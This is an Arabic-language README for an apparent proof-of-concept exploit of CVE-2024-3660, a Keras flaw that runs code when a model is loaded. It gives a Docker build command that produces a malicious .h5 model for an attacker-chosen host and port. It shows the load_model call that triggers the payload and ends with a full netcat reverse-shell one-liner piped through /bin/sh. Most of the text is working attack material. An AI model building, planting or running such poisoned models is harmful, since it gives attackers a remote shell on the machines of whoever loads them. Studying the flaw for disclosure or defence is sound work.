
إثبات مفهوم لثغرة CVE-2024-3660. تنفيذ كود تعسفي في Keras.
CVE-2024-3660 هو ثغرة تنفيذ كود تعسفي في إطار عمل Keras الخاص بـ TensorFlow، ويؤثر على الإصدارات < 2.13.
تسمح للمهاجم بتضمين كود Python داخل النموذج (على سبيل المثال، عبر طبقة Lambda) والذي يتم تنفيذه تلقائيًا عند تحميل النموذج.
عند تحميل ملف نموذج .h5 خبيث في بيئة معرّضة للخطر، يتم تنفيذ أوامر تعسفية بنفس صلاحيات العملية التي تقوم بالتحميل.
tf.keras.models.load_model("CVE20243660.h5", compile=False)
أو في إصدارات TensorFlow الأقدم حيث لا تكون safe_mode مفعّلة افتراضيًا.
يستخدم إثبات المفهوم هذا بناءً قائمًا على Docker لتوليد نموذج hack.h5 خبيث يحتوي على حمولة reverse shell. عند تحميل النموذج في إصدار TensorFlow معرّض للخطر، فإنه يتصل مجددًا بجهاز المهاجم.
docker buildx build \
--platform linux/amd64 \
--build-arg LHOST=<YOUR-IP> \
--build-arg LPORT=<YOUR-PORT> \
-t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id
import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f